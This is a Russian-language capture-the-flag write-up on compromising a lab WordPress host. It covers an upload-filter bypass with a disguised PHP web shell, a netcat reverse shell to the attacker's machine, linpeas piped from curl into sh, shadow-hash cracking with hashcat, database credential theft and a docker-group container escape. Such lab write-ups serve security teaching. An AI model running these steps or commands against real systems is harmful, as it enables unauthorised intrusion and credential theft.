Сбор информации о цели
Для начала следует выяснить какие сервисы и порты крутятся на хосте. Выясним это при помощи nmap, просканировав TCP-порты:
Итак, открыты порты 22(ssh) и 8000(http), а также известны их версии. Если присмотреться к версии ssh, то можно определить дистрибутив ОС.
Посмотрим более подробно что используется на атакуемой машине при помощи утилиты whatweb:
Полезная информация для хакера:
- На хосте используется веб-сервер Apache 2.4.25 (что мы подтвердили)
- CMS Wordpress 5.0.3
- PHP 7.2.15
Воспользуемся wpscan для сканирования Wordpress. Данный инструмент я бы советовал использовать для выявления рабочих модулей CMS и выяснения их версий. Вполне возможно, что какое-то из них может быть уязвимо.
Однако в данном случае инструмент подсказал куда заглянуть, хотя в robots.txt стоит заглядывать и так, чтобы найти не сильно явные директории.
wpscan --url http://192.168.0.103:8000
Файл robots.txt — это текстовый файл на сайте, который говорит поисковым системам, какие страницы или разделы сайта не нужно сканировать.
Disallow говорит о том, что данные страницы хоста сканировать поисковым системам запрещено.
Однако никто не запрещает нам заглянуть туда:
К /uploads доступ ограничен, но /uploads.php вполне тянет на точку входа. Посмотрим на код страницы с возможностью загружать файлы. Воспользуемся парсером curl:
Если внимательно присмотреться, то в самом низу вывода будет ссылка на github с исходным кодом бекенда данного модуля.
Там же можно найти интересный блок кода, который отвечает за проверку достоверности формата файла.
Разберём его подробней:
$rand_number = rand(1,100);
На данном этапе происходит генерация случайного числа от 1 до 100, которое в дальнейшем будет добавляться к имени файла при загрузке.
$target_dir = "uploads/"; - переменная, обозначающая директорию для загрузки файлов.
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
На данном этапе имя файла комбинируется с рандомным числом и преобразуется в хэш md5.
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
Сервер проверяет mime-тип файла, находящихся в директории uploads.
Таким образом мы не сможем напрямую обратиться к файлу пока не подберём его верное имя с добавленным рандомным числом в хэше md5.
Зная уже эти детали, можно создать php-шелл, который сможет обойти фильтр загрузки файлов
Поиск уязвимостей
Попробуем воспользоваться предполагаемой RCE уязвимостью и создадим файл cmd.php с возможностью выполнять простые команды на сервере.
GIF89a; позволяет скрыть настоящий формат файла и выдать его за .gif
Строка ниже позволяет при запуске выполнить любую команду после аргумента cmd в URL хоста.
Однако, если мы загрузим такой файл, то обратиться к нему через сам URL мы не сможем т.к. его имя преобразовано в хэш.
Напишем небольшой сценарий, который будет добавлять к имени cmd.php значение от 1-100 и преобразовывает всё это в md5.
Таким образом мы получили такой список из предположительных имён файла.
Загружаем наш файл, который упадёт в директорию /uploads
Чтобы узнать какой из них верный воспользуемся любым фазером:
Теперь мы можем обратиться к файлу, зная его преобразованное имя.
Тут есть один тяжёлый момент. Атакуемая машина периодически подчищает директорию /uploads. Именно поэтому я много раз перезаливал файл и получал новых хэш. Эта проблема была решена после создание обратного шелла.
Попробуем выполнить что-то простое по типу id
Проверим наличие netcat утилиты на хосте.
А вот и бинари nc!
В таком случае клипаем обратный шелл на хосте и подключаемся:
...?cmd=nc -nv 192.168.0.109 -e /bin/bash 4444 (на атакуемом хосте)
Мы внутри!
Повышение привилегий
По классике жанра запускаем linpeas и видим следующую возможность для повышения привилегий
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Давайте сразу залезем в shadow при помощи tail и посмотрим что из этого выйдет.
И теперь у нас есть пароль от рута, но его ещё нужно подобрать при помощи hashcat.
hashcat -m 1800 -a 0 -0 found.txt hash.txt /usr/share/wordlists/rockyou.txt
Пасс оказался очень простой, чтобы не тратить наше время. Заходим на root при помощи su root и вводим пароль.
И казалось бы вот и флаг, но что-то он не совсем на него смахивает... И тут я решил капнуть ещё дальше и глубже.
Покопавшись в конфигурационных файлах wordpress удалось найти креды для доступа базе данных, которые использует бекенд для входа и составления запросов.
Однако мы же не видели порт БД на хосте на этапе разведки. В таком случае стоит проверить открыт ли порт только локально.
Попробуем пингануть хост db:
Адрес у db совсем другой... подключимся при помощи mysql к базе данных.
Посмотрим какие бд тут есть и выберем wordpress.
При помощи команды use выбираем бд. Просматривает таблицы в бд и делаем select запрос для host_ssh_cred. И вот желанные креды.
После перебора полученного значения получаем такой простой пароль.
Подключимся по ssh к новому юзеру:
И это успех! Этот юзер примечателен тем, что он состоит в группе docker, что даёт ему больше прав, чем другим.
Я воспользуюсь своей старой статьёй по разбору одного из методов побега из контейнера.
Попробую запустить любой контейнер и примонтировать его к корню основной системы.
Образ ubuntu уже был на системе и я решил ничего не выдумывать и просто запустить его и сделать всё по собственной методичке, что и дало мне финальный флаг.
Выводы
Интересная машинка! Я думал, что при получении рутового флага уже решил тачку, но не сразу понял, что тут есть двойное дно. Приятно было заглядывать в свою старую статью по побегу из контейнера и использовать как инструкцию для финального решения задачи. Если поискать экплойты на сервисы, то вы найдёте кучу всякого, но лично мне показалось такое решение самым интересным и не ломающим сам стенд.
Спасибо за внимание! Успехов!